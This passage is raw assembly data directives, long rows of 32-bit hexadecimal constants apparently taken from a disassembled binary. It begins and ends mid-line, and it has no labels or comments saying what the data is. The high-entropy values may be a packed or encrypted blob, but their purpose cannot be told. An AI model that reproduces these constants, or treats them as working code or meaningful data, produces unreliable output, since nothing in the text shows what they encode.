4F2D1441h, 45F4576Fh, 0F1FE236h, 0B1AFA865h, 0D5FFCAA0h dd 3B1725C3h, 1500EB10h, 0EF589A70h, 0FDB30094h, 309937C4h dd 400F333h, 359B036Ch, 6934077h, 2AA13F85h, 0F20168AFh dd 0C9ECB3D1h, 9A415412h, 3CDCEDB6h, 5D140077h, 6CCEC3CAh dd 6405F259h, 0ADCF01E6h, 0EBFF8400h, 7E5F12Eh, 732D7B92h dd 4A06020h, 0F61C5433h, 0C0057B1h, 5F443745h, 0F46A000Bh dd 2AE62207h, 5C00201Ah, 32F5B9Ah, 79A716h, 8E6AABA1h dd 9B173FAAh, 14306700h, 4E2B98CAh, 63727Ah, 73207DC4h dd 5A89C727h, 6A8DB800h, 0F59537C0h, 5F8E3EF8h, 0AC40DE01h dd 80BD7DE5h, 53376D30h, 63CA1Dh, 0A9C147A8h, 7F910B97h dd 1A3ED601h, 0D8B857BDh, 0A08179D9h, 55205E4Eh, 3612E0FEh dd 438C0900h, 70976AB4h, 0CF2800F0h, 0B04AFF4Fh, 5C006DBCh dd 9DB6DC1Ch, 0C1243E5Fh, 3D7920B0h, 55509C66h, 0F1D301BBh dd 5FE2572Bh, 0FB60ED0h, 17C24529h, 75E3C360h, 8360E61Bh dd 0A86C69F0h, 0E55F0379h, 60720A45h, 89028098h, 95BF9A3Bh dd 0BC264Ch, 8DA5769h, 1AD53Dh, 0A24F5D3Ah, 1DF3A80Bh dd 0B5927E00h, 8DAA4DC8h, 1A9C01EEh, 85CB0A4Eh, 239040D4h dd 79C0FF36h, 43DAE9FAh, 0F25A00B0h, 6CA7A6EAh, 2C396591h dd 0D87C87ABh, 14C0F5A0h, 0AFA4BCC5h, 6F3D7804h, 37DF5300h dd 463851B7h, 1EC100E9h, 4DD9588Bh, 966BD2Eh, 225430h dd 27638147h, 1CE0F429h, 36D89007h, 68CA3C84h, 0A560CAD0h dd 46636178h, 0C668804Ch, 0D3A0732Ch, 0C08C240Fh, 0A3B60F63h dd 0B99F9C01h, 6B0C40DDh, 1B3ED080h, 0DE97109Ah, 8418EF8Ah dd 41048377h, 18B02517h, 0D614FC00h, 0A8B38D40h, 0A089120Ch dd 0A187FF18h, 24506C30h, 88D3B97Bh, 3CA1C7AAh, 0D7245127h dd 4B0C40DAh, 0D2627B2Ch, 11822390h, 38605103h, 0F0C4181h dd 2A245E4Fh, 5B0C1841h, 18D12F10h, 6CB650FEh, 8449F107h dd 0C4D9FCCCh, 2186E319h, 18412B4Ah, 5308AFF7h, 51130CA9h dd 40AA6424h, 758A5F3Ch, 5D5CD271h, 7CEB18B1h, 45FE1818h dd 0E7FF6080h, 14D419C4h, 1F922800h, 8891D94Ah, 3BD4683h dd 0AE89825h, 0D0530004h, 895D7B4Dh, 0E51CA3E7h, 65C7C441h dd 0ADC0A176h, 0B457F4h, 0C61D169Eh, 0B0E0F5E9h, 0E8B66730h dd 5097086Bh, 109DB081h, 0F284A7h, 0E58F06E1h, 1D5C8F0h dd 0C488AE0h, 0E3091E95h, 43E7A11Dh, 3691BC47h, 2F660068h dd 0E5AAFEE2h, 0C746D400h, 0BB0AECC9h, 0FA4D014Ah, 1F0129D2h dd 3D89F8C6h, 1CA56DE4h, 0F7C45F42h, 3075C001h, 0CCDDE91Bh dd 0ACF6526Ah, 250DBB02h, 80A79605h, 0FB324494h, 2A50FCB0h dd 3F8C8B62h, 0EB3C9122h, 80C6279Ch, 0FB31BBA2h, 33148110h dd 81C85F3Eh, 0EB72E4ADh, 0A0807EF5h, 1938FF02h, 4E3A8682h dd 5729E008h, 14B00AFCh, 345FD62Eh, 5FC0DB27h, 130037A5h dd 0E3FAF7CFh, 5C3CF038h, 3B005DA1h, 62DCD68Fh, 0AD005E24h dd 69E2FCCBh, 2EBC3793h, 71D6DDAh, 0A0DD6189h, 2059DF8Dh dd 39B0490Ah, 4000BF17h, 0B33C0CDEh, 38B007Eh, 0FD569887h dd 95FAB0CFh, 0D6665E07h, 405E5961h, 470C8DE4h, 7218C782h dd 0B3A9004Fh, 84EF97D0h, 6B91EB80h, 0A714A82Ch, 1FD5B00Ch dd 93415840h, 60AC73B3h, 0DFE7D8h, 0BA5E020Eh, 0C417428Ch dd 920C5800h, 7F458612h, 0E20001Dh, 0A773B6AAh, 6EECDD62h dd 0BC889360h, 6E3A109h, 0AD529739h, 600A16Ah, 4B54298Bh dd 1DE2CE0h, 0B23A53A5h, 9F5F26FFh, 62009220h, 8A396A4Dh dd 0E20701C9h, 37324EA2h, 0F02D61D9h, 0AE5758B2h, 0F0007B84h dd 6F517D72h, 620CD1h, 9F5365F4h, 3B132AE0h, 18665B30h dd 3BED386Ah, 0A20069DEh, 0DF93179Ah, 0F100EB23h, 4E90EA78h dd 7D73522Ah, 2F560F2Bh, 0B801FAC6h, 0F25D783Bh, 5A632ED0h dd 0D8859250h, 390CE1Ah, 3A62A99Ah, 0F10088A5h, 4243C0BCh dd 81DEF9h, 0B8DC83AEh, 0A7FA7E07h, 15001490h, 3D45FFCEh dd 5AAAE3h, 0F09338EEh, 72A2A388h, 42807B50h, 0D4AE0101h dd 5B339C45h, 31020h, 0B4DFD50Ah, 18BF9725h, 71BABD00h dd 4D38933Ah, 0A06560C0h, 0CE1362ADh, 0A5A01B00h, 0B244482Ch dd 1E5803EBh, 99720823h, 3ED861DBh, 5C002282h, 0A8C3356h dd 0A62A5B4h, 75C904C2h, 0A442CC8h, 0C749937h, 0C7B1B408h dd 9AE60E02h, 98211174h, 23EFDE30h, 0ED8C7E68h, 0F54861h dd 392193CDh, 69B0155Ah, 44004892h, 0C851A86h, 0FA9FE149h dd 5E0A00B1h, 7B5AE85Bh, 0A551D437h, 6D4CA8E0h, 540093FCh dd 1999C8BBh, 605CD636h, 8F0F7035h, 61039E9Ah, 3C25EAA7h dd 42A6D862h, 23361713h, 1BF71C0Eh, 93D051A1h, 0D70A521Eh dd 0A07B1CF0h, 66F5AF82h, 0A8144301h, 226833h, 63041260h dd 8DB7E2D3h, 72AA542Eh, 0E4006228h, 0AEF487D5h, 95DB07Dh dd 9C63E41h, 0A0995020h, 55034C48h, 5D3C7E56h, 73F909B2h dd 6E0ADCD3h, 0EA585850h, 0DB1F7507h, 67C6B213h, 6A970191h dd 0BE7652D2h, 7D62FCAFh, 16980C07h, 0E28F9A3Fh, 4875B6B8h dd 70FC7AD0h, 59C00436h, 0C0E09A4Dh, 3E2F219Ch, 0A0F2BD31h dd 6EB73Ah, 584D9848h, 860966A8h, 20A2231Fh, 378DDE90h dd 5531DE96h, 9306C86Fh, 98EAC74Eh, 0C118357Dh, 0E8E84976h dd 716000DBh, 4C5BE2A2h, 0EA3009A4h, 0D213F88Ah, 0DD920627h dd 0A8D920CDh, 7CA6C10Ch, 56B209Ah, 0FAA4C77Ah, 418400DBh dd 11905BC9h, 0DEAC875Bh, 0EEC11877h, 7144314Bh, 2D127000h dd 61FBC35Dh, 6A9C245Fh dd 863D8434h, 75A20099h, 0E0D29DEh, 81EE67B8h, 4522D0F8h dd 0F6B97700h, 357ED326h, 6CC130C4h, 4A096440h, 75C8ED18h dd 34C2B111h, 489B584h, 31729808h, 0DF163B9h, 7334C8EFh dd 2E1761Fh, 3E3DE0ABh, 0A0A0BE7Eh, 4BAE0BFAh, 0CA476C00h dd 4C1DC440h, 9DE10014h, 5C45997Dh, 0E505080Ch, 5879E038h dd 0E2DD845h, 3BEF0400h, 4D5623B9h, 24007C5Fh, 0D51F4754h dd 0E809B14Eh, 81779921h, 0EC2D4368h, 819CB8E1h, 0A3744337h dd 48D82694h, 0EA241EB6h, 71AC7CE9h, 0BAD34D00h, 57C012h dd 0D9CA2ED6h, 0A39C6EC3h, 0C420BC49h, 0C8109B42h, 43A9E609h dd 0AF980400h, 0A0A86310h, 9C01FA31h, 2B7F82AEh, 30DC78D2h dd 0B8D0A36Dh, 1C9B3A43h, 810C5D5Ch, 0E087934h, 80E7E98Eh dd 5A13CA51h, 3D940A5h, 0D3CB2347h, 10769093h, 410E2B01h dd 3308BC34h, 3048C5D1h, 68844D43h, 0E48242Ah, 36EED7D0h dd 2CA97C8Eh, 309FB906h, 30BD6601h, 0A34E4F12h, 965A9842h dd 20486C0h, 3E9FD949h, 484008CEh, 4B9827C0h, 128FD49h dd 123411ACh, 3C60F7E3h, 729A04C2h, 807D67B9h, 53EB0D20h dd 3F9F7500h, 77D0CC92h, 0DFFB00F2h, 4474853Bh, 0A9002896h dd 8478E103h, 73B11B10h, 0A1544CF5h, 34C03445h, 0CF50103Bh dd 219DC99Ah, 0A4C3E6B8h, 376030h, 45A5C7DCh, 3F72A77Dh dd 3B36D900h, 0CD9FFE0Ah, 9B120927h, 9B0323F5h, 36E02441h dd 9B85846h, 0E67C7098h, 49D0F207h, 9593C90Fh, 0D8FF9A3h dd 626060h, 0C6A0F97Ch, 8734FF6Fh, 0A535FE00h, 3D1284B5h dd 0D4F60018h, 90B2DEE4h, 3613B8D0h, 6040790Dh, 0AE6D420Ch dd 9360B7F2h, 0E4002C37h, 0D4095CEBh, 5F8C7Ah, 65F7A19Dh dd 0D39F776Bh, 5AB90D00h, 228FB3C9h, 2A6100E8h, 3C93BCADh dd 0AF038791h, 0F813BE0Bh, 9004B078h, 478038EFh, 592007Eh dd 3F36DE30h, 0FC009339h, 2297487Dh, 9E8BF8h, 75117A25h dd 5E6D8A1h, 6826BD03h, 0A049C2B8h, 0F1096Bh, 3E610486h dd 0FC4ECF2Eh, 65750600h, 0D5E1B995h, 7C26980Fh, 59EE008Ch dd 4B5E8AACh, 802C66F7h, 9A009CCAh, 0BEBD0173h, 0D5095067h dd 59040046h, 32D0EF45h, 50EC0802h, 13613CA9h, 0B03FB8BBh dd 0E1420076h, 0FDEEB31h, 0AF00BCB3h, 21285B89h, 30A82A7h dd 6C885212h, 61981118h, 350359B7h, 78C8495Dh, 62B05876h dd 543FA74h, 257A2B72h, 0A88486A8h, 0C290F700h, 84B92CEh dd 0F127003Bh, 4D1346BDh, 0E0015960h, 0EA7930E3h, 6FD00966h dd 9B6B003Bh, 6C182AAEh, 0BC00ACAFh, 0E5EF6233h, 0FAF18503h dd 48C0055h, 12E1E305h, 530079CEh, 29D70F70h, 5ACE2FBh dd 46BA7A28h, 0E1440021h, 0B3928FC2h, 0CB000D43h, 1759674Eh dd 5C0997E8h, 0B27C54h, 0E802F2Ah, 0E015008Fh, 0DB2DC16Dh dd 17003B04h, 6AE6E49h, 638C51h, 5759A9FFh, 0B42BE1BEh dd 549AEA00h, 61FC0BFEh, 2C1F0005h, 0F6AD52E2h, 9F01107Bh dd 4445D1DDh, 0A040653Fh, 0A24F09Ah, 25A7078Dh, 0C2DB0E58h dd 0D7E393E0h, 0AC882BC1h, 59AA003Dh, 994B3971h, 340E23AFh dd 0C0D84465h, 942E1121h, 57C905B1h, 2F2B5F04h, 0F82384h dd 0A5B58525h, 23FC3C63h, 5BD77002h, 40054294h, 84720h dd 0D9B2B0C0h, 0FFC4533Ch, 2582648h, 0E5E7EB79h, 21544810h dd 0DF0B0069h, 0B1D22ED7h, 451FBD18h, 0AC80AF76h, 3D37BC81h dd 1DF40183h, 60AA9712h, 435E4CEh, 0D9A1F500h, 63341E0Eh dd 902766Fh, 53E31D45h, 4D246420h, 9D30A640h, 0D381E031h dd 0B8375059h, 0CF830027h, 0A9245E57h, 0E307F879h, 541C989Dh dd 91F54E20h, 5A5C44F2h, 16D4F00h, 0CC346B1h, 5BC538C7h dd 0B744A18Eh, 0DF622140h, 0D402D3FBh, 4005F699h, 4D544035h dd 68CA60B1h, 28233960h, 2712DB00h, 0F52D3F41h, 24B40343h dd 6B3EC85Bh, 221367B1h, 4CDC506Ch, 0C1D921h, 82CA6B6h dd 448653D5h, 0BA0195CAh, 3EDC633Ch, 50DD149Dh, 201C1BCh dd 7BFC4427h, 7AC74198h, 0C426B1h, 45024B54h, 0E7D4A32Bh dd 2848DD12h, 0C301366Ch, 91997628h, 1261275Eh, 0D242C007h dd 4FFCA031h, 0DDD68426h, 42931F18h, 62E1C4C1h, 48CB3440h dd 9A012042h, 0FB46344Ah, 2460233Fh, 80BF34A9h, 5EFDC2E5h dd 1DF33C90h, 0C38145C6h, 0B4B2EC97h, 0F9666130h, 578D29CAh dd 0E0C83016h, 0DEA0D0C7h, 1862A855h, 51657C95h, 4A4848EBh dd 7EA902EDh, 48BEDD80h, 2434B658h, 11C871E2h, 85C6802Ah dd 0FB1B95C0h, 6E685Ch, 21C884EEh, 0FC7FD68Ah, 0EBEADD07h dd 41DE0C92h, 49E0EFAFh, 508365E1h, 33392F56h, 4F28E3F8h dd 3E354Ch, 0FC4282B9h, 3A71AF13h, 4400B572h, 2331AB38h dd 85001F3Ch, 338646CFh, 3B7687D4h, 78482EA4h, 91134C00h dd 0C795D917h, 0BDA8206h, 0B0D9F43Bh, 18DC00D7h, 219FC6D7h dd 0E5004A94h, 4BD88DC3h, 50C59086h, 99CBCBBh, 23BD67C9h dd 0EB6FAC80h, 0AF730D0Eh, 1FD7B02h, 48030CD5h, 8002F1C4h dd 0E22404D8h, 0B4606469h, 210593D5h, 659124A5h, 3F4BF701h dd 0D437A14Ah, 0FD00E531h, 9E1B6EEh, 1275108Eh, 7B42981h dd 808803ACh, 0A008AB5Ch, 0D1E0B600h, 0DD04B8F7h, 1C25025Fh dd 8D5213CEh, 9DAFC460h, 0C426E300h, 0D0033C3Dh, 70B00224h dd 0F6522DDCh, 0C43F54C4h, 6F3700CBh, 0C78D0495h, 9067EE35h dd 60A67EE4h, 0C63BA806h, 964A6B84h, 0E641F3A0h, 873500DAh dd 49E31916h, 0B000F4EAh, 5108BED9h, 0B1FC8162h, 36CF0008h dd 6EA8AE9Eh, 20110522h, 0BF01CA4Dh, 36292BB0h, 0DDCC438Eh dd 2356003Ah, 8B4426A4h, 24263549h, 400262Bh, 1AE73D0Fh dd 9E9226B5h, 7ED40C4h, 0C890D5B0h, 67111E0Bh, 0B58800EFh dd 138299Fh, 0E1FAA010h, 0D8830971h, 5E0952D1h, 8097F1E5h dd 0FC2F1BBCh, 5CF43A9Ah, 1F80FE3Ch, 937B5E59h, 2379B686h dd 9E516900h, 0DB6E33CCh, 0ACB00729h, 8A4DD9A7h, 6AA88098h dd 0BA84710Ah, 6B074E00h, 0BE590F37h, 3C1D1C3Dh, 7BA64158h dd 0D4E73839h, 760047D4h, 4FAE2DE3h, 0F6B5DA42h, 16CE0695h dd 20F004BEh, 0D912C300h, 0C65D8E1Ch, 559D02DFh, 57D7A04Fh dd 23E2E980h, 1502EC09h, 0A35DEA89h, 3388808Ch, 45E737h dd 3438869h, 11832FFBh, 5E002BB0h, 0BF1FA9C1h, 2C32E370h dd 3D6C3715h, 3D00EE58h, 0F4017ED2h, 0E30EBCA8h, 0E0362705h dd 0ADBE03FEh, 0DD8D006Dh, 6EFF9F3Bh, 7B75BA35h, 5E32401Fh dd 0E9012CA9h, 0BA0CEF34h, 0AB4118E6h, 80D23181h, 6BC6B58Ah dd 736C006Fh, 0E9C3934Fh, 601FEB52h, 0ABC71845h, 2637A442h dd 0D2E3A930h, 284B0ECDh, 0DA67C458h, 0D3E1D3B1h, 40A42DA1h dd 4060F8B0h, 73991D00h, 67E053A9h, 0EF5419A6h, 0DCC620A7h dd 28A87668h, 0B87944F2h, 91E56621h, 64190049h, 0B5762C40h dd 0DC30004Bh, 0AB1575F5h, 8F06F017h, 49AE1A43h, 0C951A0D9h dd 402800D9h, 0D40F5B07h, 2B3013A9h, 0E4E719Eh, 0D640216h dd 0C19A0196h, 7F7637E0h, 0E1C6950Fh, 14641E59h, 83A86D94h dd 98B322D3h, 5A94351h, 39DCC20Ah, 70B83FAEh, 0A2B26800h dd 0BD172FAh, 0D8702EC2h, 8FA607A4h, 9980BFF7h, 0B045DC9Ch dd 0BF7E1E00h, 0FAD551C1h, 0FE4300C6h, 0CD69CF7Fh, 9A00CB86h dd 0FD1CCC20h, 0B11695h, 0DF2A01A1h, 86B33B6Ch, 0CCD1E200h dd 0AAB04952h, 0CE0800C1h, 66773C91h, 0B3EC307h, 3A7B8065h dd 13943D2Bh, 1C8139E6h dd 0D8495180h, 0F47EBEA4h, 0C1C95000h, 0FE6FED02h, 96CA00A6h dd 44979215h, 370066D1h, 51E1F680h, 2E349Ch, 7DCB4781h dd 0CC8FF74Dh, 0E7D33E00h, 0B7A129ECh, 0E31400B5h, 0AEC0FB33h dd 0E5007522h, 47041B01h, 0B3A41Fh, 5F8657C5h, 8C25F66Ch dd 0F37D5600h, 321875B9h, 7AC171D5h, 0CC25B857h, 2BA09F69h dd 0A8A9000h, 5DFE9C8Fh, 846F0116h, 582FEC59h, 0A8DA30B4h dd 20CF3Ch, 6864CBF2h, 0FEF1B9h, 168E823Fh, 66023995h dd 800A8D3Eh, 0BD1D842Ah, 0B10BD5h, 3C73CD8Eh, 0DFA83A4Ah dd 24202D00h, 0EFCA4570h, 57AC8h, 5222A7DAh, 87CCCDD5h dd 0E7D71300h, 0F30F51FCh, 0E2650086h, 1BEBF9F4h, 0BB00DE15h dd 842B20C4h, 0E03DFBFFh, 8FA8A0A2h, 0BF8070Eh, 30648098h dd 323B28CCh, 8C89AE28h, 5EFEBA07h, 0B55674EAh, 0C65902FCh dd 859955EFh, 1881D760h, 7253B00h, 638820A6h, 37031558h dd 65009492h, 0ED478CDFh, 51008AF7h, 0C817FFF4h, 399B7A34h dd 0DF00503Ch, 0A1537079h, 0D24E382Dh, 2F1C2F0h, 0F446AA48h dd 84808A14h, 0CCD46116h, 5380A8ADh, 51D4F47Ah, 60810378h dd 0FC6712C9h, 58B20C90h, 0DFFB3A09h, 0A1042CE3h, 0AFCC0396h dd 0C18605F5h, 33F955CBh, 20CC4607h, 393F3CEAh, 62E80FBh dd 0AE319D49h, 9CA40Dh, 30DAE627h, 0EA8429CFh, 6E090A01h dd 6522AF40h, 0CA581822h, 0B3879E0Ah, 602300A4h, 0D235FF8Dh dd 0FB27A828h, 0C4032D2Ah, 469C9D00h, 8AD0EFE5h, 0BAF80792h dd 0B1C76277h, 0F0F1805Fh, 0D200B347h, 6420BE43h, 3F63F4DAh dd 0D7874AC9h, 806518C1h, 0EEB5CD19h, 0EB0AEC00h, 0F872CE7Ch dd 3EDFF63Fh, 17DB4BEh, 8CB7EA4Ah, 0FD4C5AD1h, 9117C014h dd 84F25201h, 88635429h, 6440DAC5h, 560EC5h, 317E1137h dd 8498667Fh, 4676AE06h, 0E0E43Eh, 0D83036A7h, 1A129B33h dd 0B7FEF8ECh, 920E7B05h, 0A41E932Eh, 0CC4E4080h, 14893B8Fh dd 3851CF6Ch, 43A28731h, 62508EE0h, 206F60C4h, 8560B2h dd 8202775Dh, 9B640670h, 79195160h, 413FFC3h, 0C1F753F0h dd 63460048h, 18CE7Ah, 0F1AD702Eh, 23EB77B8h, 2AD8ED13h dd 2C2411h, 4AFE8E13h, 353DF73h, 95D1BC45h, 4024E2B7h dd 48079C72h, 0F4F05A47h, 0D5977Eh, 0AE41ECA6h, 0CA93CE36h dd 94B37B12h, 4680041Dh, 4D47E4F0h, 350F0001h, 783929CDh dd 0E301E641h, 0D2CCABF7h, 3824B75Ah, 6CCF1EEBh, 724808Ch dd 218EF6BAh, 3A08854Dh, 70719C74h, 0C8D89840h, 182DDA5Ah dd 4CF30E62h, 0F501F6A8h, 0B513B0D5h, 0ED300A9Ah, 9A200C8h dd 0AA27C326h, 0B101E296h, 0B00DCE22h, 0A8800BDDh, 0B2385065h dd 0A284DB9h, 3018CCFh, 78F44E90h, 0A9C032C7h, 9EC5004Fh dd 0CBFA7101h, 880E91ACh, 0F7265AFh, 0F9407D29h, 0B93B1E77h dd 82C20233h, 50B6FFFCh, 0FEB32040h, 0A0C72A00h, 0F1CB4315h dd 61B0D2h, 56A27862h, 0DF5F1B24h, 53E90103h, 0F82C1FEBh dd 99077Fh, 0BAEAC84Eh, 0DCAAA6E1h, 84021EF2h, 8E8B7DD5h dd 47D760FBh, 6F1039BEh, 2C51A60Fh, 0EFE6EEA0h, 9570ADA0h dd 7981F000h, 0E92B0F49h, 0ECF4032Ch, 0FF903C72h, 85F54007h dd 9D20B303h, 600421h, 0FE1F79CDh, 0CF26A356h, 6E6BB503h dd 916ABA03h, 0B820B45Fh, 99F0248Eh, 158F3B98h, 3940A48Dh dd 3560016Dh, 0F563C407h, 0BF8C3Eh, 0E2F2D7F9h, 46ED1D8Ah dd 2D9E0097h, 57CA66EAh, 4077D800h, 7DB681ECh, 3ED32461h dd 1EDE80D8h, 6606966Bh, 0FAB16501h, 10778416h, 800DC343h dd 0F5A3DDh, 48EDB9D6h, 11498A82h, 0D974B7E2h, 0D23F6D01h dd 0F19AA4A2h, 3EBA60CCh, 5881A835h, 70EAFA01h, 65B7EC40h dd 98775303h, 0E928E934h, 0B880BCD3h, 540CBA89h, 790B5B82h dd 0FCF6CDA0h, 6A670545h, 7C308015h, 80909A99h, 5A61EF12h dd 0F6232900h, 3E5CF893h, 3E3D3BD5h, 0ECBBA4h, 3A3079DEh dd 0C575AD9Ch, 0E8FA4900h, 8C9F6BA5h, 39C4980Eh, 5A808025h dd 7E452A1Ah, 77309C35h, 878D4086h, 98EC0373h, 9ECB053Ah dd 0EEBA800h, 2E02EAF7h, 0B0CC5180h, 0E24C24h, 8E490C35h dd 0D537CBA4h, 2E7E0A1Fh, 5BD48C9h, 0E80062Ch, 7E805E8Ch dd 9DD012B6h, 34E44C08h, 0D3A10E39h, 3DF830CEh, 2C6B161Ch dd 3B85E807h, 9E07F550h, 0E0FF0037h, 0C877554Dh, 741C5BC9h dd 0EB804FFBh, 7DC07125h, 2C6CC0EEh, 91E47622h, 8C1D5Ch dd 3B93E75Ah, 78CECB7h, 37804164h, 0EF7E3013h, 0F9054B46h dd 2FC19A19h, 33AB3080h, 18389823h, 0D8732B91h, 0C900BF12h dd 3A50F536h, 2EC6D666h, 8010F0EEh, 77AFFC65h, 2677A1C3h dd 184CA530h, 114245h, 6BCF4719h, 0FF1033B6h, 2CABA00h dd 14B173C8h, 76A4A08Ch, 0A81900E7h, 0B649F461h, 7B01F92Fh dd 0B815A16Ah, 88807EE0h, 0A3A46F3Eh, 0D105AAB4h, 0EAE45B7Fh dd 5E507880h, 0EDBA0065h, 0A49AFE55h, 471709DEh, 1812719Ch dd 0DA91C821h, 0B08020h, 0DDB5FECEh, 44C87967h, 0BAF24800h dd 995BE9Eh, 31CB128Bh, 14F461F0h, 84EE87Dh, 29ACFE50h dd 4DF22000h, 9C90641Ah, 58CC985Fh, 983A9312h, 43C4100h dd 74B655BBh, 0D6BBD1Ah, 18CC859h, 9CDA3B38h, 4EB34807h dd 4DF40D0h, 7674DE83h, 88283307h, 0A530B0BFh, 79E21D6Ah dd 2BC50326h, 7D5360D4h, 394F8B90h, 730260EBh, 67FF800h dd 0CADB9F62h, 3AEE608h, 16A52C7Ah, 782E97BFh, 0EF42D468h dd 61988FE4h, 0FCA2DBADh, 870DD88Eh, 796F741h, 2C42365h dd 0E4C04611h, 59A5E094h, 92307CD1h, 75D00378h, 4767B6A6h dd 0EF5E4380h, 0C06A5900h, 0C9A0562h, 0C1B00024h, 0FCF6A772h dd 840BE24Eh, 80CDA333h, 2B57CC0h, 0AE7631A0h, 0DC2DA6E0h dd 3300ADF4h, 9F5B1DBh, 1E1898h, 0FA02B424h, 380A48ACh dd 38320D4Ah, 140458Dh, 0FEA86B47h, 0E90CE00Dh, 0AC3F0773h dd 0E3DC0B37h, 0DD1CA0CCh, 7DFBE82h, 84128A2h, 38C8D03Fh dd 60C00C1Ch, 0CB6A9CBCh, 0CC065D6Eh, 0F678B600h, 0FA7B438Ah dd 0E3BF9803h, 0E8826E10h, 2B39587h, 462ED50Dh, 50E2279Ch dd 90A7982Bh, 0D0B4644Fh, 7DA77830h, 880EDF74h, 0C0EA867Ah dd 8C2A1B46h, 33312CDAh, 8DAF00E4h, 284DADC4h, 0DEF79502h dd 64F42E29h, 0C510984h, 0C446A40Fh, 345FB8C0h, 781246Bh dd 0EBD714C4h, 49BC12Ch, 0A6E87110h, 9486D838h, 0E12A54h dd 2EE1C92Ch, 0B63EB313h, 0DA8A3A0Bh, 3C10B897h, 231F0010h dd 0F047C459h, 6926A556h, 810960ACh, 0F494D5h, 0ED244177h dd 6FCCA78Ch, 0A6295D00h, 98F07158h, 85C100FCh, 2B8BA392h dd 4012D9F3h, 0AC305B19h, 14EC33B5h, 0B0B0478Ah, 71506C24h dd 0B03309h, 314B7BB0h, 9E32BAh, 1F7551C7h, 2CEE5594h dd 84E7CD0Eh, 803F49ADh, 4AE7E44h, 891F0015h, 316D6ECCh dd 0A2026436h, 90B81E53h, 84ACE086h, 0A8F9034Ah, 809A8A5Bh dd 7094B299h, 0E00E6FFh, 0B7BED1E7h, 44D8E62h, 0EF1255A6h dd 0F6708109h, 79D0A699h, 0EA8A5700h, 1A0708D7h, 0B6FAB8FCh dd 0AE8724C0h, 50D81963h, 4826A87Bh, 5AD0033Bh, 3C6A73C4h dd 0FD37A998h, 16709A3Fh, 6C0233DCh, 48A69C57h, 182E26E4h dd 0B0B8F23Eh, 5B04C032h, 7CFA28Dh, 0F43068C7h, 0C68E16h dd 1A1CB8A7h, 38348986h, 826AD500h, 90C1C0FBh, 0B94F3B18h dd 3000F7BAh, 0FF20F5B0h, 813274Eh, 541429A9h, 49804D70h dd 7E60432Ch, 4DB69F01h dd 0A4A1E63Eh, 20A6DECh, 0D221397Fh, 6C510B8Bh, 0B2621203h dd 9548B815h, 94AD01D9h, 8F1B02BEh, 1EE03F6Fh, 823F06F7h dd 71CE13DAh, 7F01B899h, 67119B6Ch, 180C9875h, 887001E2h dd 1FBFFC4Eh, 0C78540A8h, 60A62E8Ch, 451E20EEh, 0C64B867Bh dd 36A90068h, 48CBFD26h, 0A0014DFh, 29A76BC8h, 0CE07A2A9h dd 1C5A4389h, 0C06862C3h, 9636E3h, 0F7ED7888h, 8C77CA92h dd 0A8ECEF30h, 5998ADA8h, 0B752417h, 5C998A74h, 8DD2BC00h dd 0ED075DDFh, 0F9B8D3F8h, 0F660B047h, 27253Ah, 0FEC69321h dd 0E4F563F3h, 54F97900h, 0E73AD2BEh, 0A0B260FBh, 0DBCA4CDDh dd 874F4600h, 0B35A5BFFh, 47E400F4h, 7A6FF018h, 504C0351h dd 5E7B0194h, 0B4E613DBh, 0CD00F028h, 0F25CA4CBh, 142787E3h dd 1CD800D3h, 0B952766h, 92051291h, 38201089h, 4CE8610Ah dd 941B4F02h, 522602A0h, 7F090024h, 0A1C1DCA2h, 0E60373DAh dd 9CB1C78Dh, 0C4DF1DFh, 1C525430h, 0BCA5B0FEh, 8097229Dh dd 3935B6F3h, 567A54B1h, 7770DC01h, 4D142132h, 24007433h dd 0FA848D1Fh, 5B0B7765h, 0A080A50Dh, 0DFE215A8h, 0F8070059h dd 359A78BBh, 8201C3EBh, 99443F16h, 0B8EF2790h, 0A06181h dd 2113E15Ch, 40BB33E5h, 0ED4EA100h, 0F229FEB1h, 992C00EAh dd 0CFD6EC96h, 8CE23D4Dh, 8B874200h, 0D96D077Bh, 0C875025Ah dd 0B35EF9FDh, 8D006374h, 0F5E9DD98h, 5A3D0057h, 4314C2A4h dd 580035F0h, 5DCD2261h, 7DE9FCB4h, 1BA500C1h, 3580682Eh dd 0E6F42651h, 0B4022003h, 0E0D0C999h, 0BC6DCBh, 455C10AEh dd 6CEFB697h, 0A3807061h, 99F4592Bh, 7AC30019h, 7D358C05h dd 7B00A45Bh, 6FD1883h, 38EBD40h, 80D1D2E2h, 36A0A7DCh dd 0FF1D7224h, 0CB9FAB10h, 0E1F0A840h, 0F77009h, 5AE358BEh dd 0C89EC1DFh, 0B13F6800h, 2D8FEC51h, 0BB2138BCh, 577CF7h dd 0DC05E80Fh, 0DDBA612Ah, 0A700DAF2h, 6946672Ch, 4FCA3Ch dd 0F5B4E78Bh, 0A6E2366Fh, 0C540D100h, 5FF97D0Bh, 8CE500B5h dd 29EC0CFDh, 0D7FA73C8h, 1F6AC607h, 0B591A9BAh, 8D70A4B1h dd 2E79ACh, 50824A0Eh, 53F1B093h, 0F64FF000h, 7D33E983h dd 596E3AD6h, 0F5DDE380h, 6FF3A3Dh, 0E4E79A00h, 0FDA7E522h dd 669828D0h, 0BAFB03B6h, 4BB8149Eh, 0F47F26D9h, 0CB7A340Bh dd 325AB107h, 73D01AC7h, 20339Ch, 87404689h, 94142B2Eh dd 41562200h, 1312AA34h, 18D102AFh, 98EF5D73h, 5D47660h dd 2C00907Eh, 27076B0h, 47CCDAh, 222F8F1Ch, 9C6B823Ah dd 76525D00h, 1FC891CFh, 0A09E000Fh, 0CD536A04h, 0D90051BFh dd 94F10A67h, 0E08DC10h, 1A34557h, 0C08D2680h, 2E096D16h dd 801A63AEh, 0E51F623Fh, 6BB500AAh, 492D910Eh, 0D43B5165h dd 0A63F1F5Dh, 0EB929880h, 0F8D1F36Dh, 39550064h, 0A1C39ADFh dd 0DE000352h, 0CFA0FB62h, 21821Eh, 765D0E79h, 0D6EFF640h dd 50B14A01h, 0D9B24253h, 0CA693880h, 9FF03715h, 47009375h dd 300E3383h, 4EFD13h, 222B8ABh, 0F3A3C929h, 89001D73h dd 5DC1CD8Dh, 0E19E680h, 166C7B81h, 0ECCF1C00h, 3600543Eh dd 0F084607Dh, 0F3483Ah, 852E5F39h, 9DAF70CDh, 7BABB800h dd 0A36B58E6h, 0F5C007D8h, 5F0504A1h, 37EF3980h, 0DB039853h dd 0CA2CDDE8h, 6FC7E0FFh, 0C96407AEh, 80D3EC04h, 1DBBE7C4h dd 882CE6F4h, 0E80222A0h, 0E01ACE59h, 7B4F82Bh, 0B121F342h dd 7009FE6h, 0BE8E35AEh, 1AB2E00h, 24706020h, 0CC60085h dd 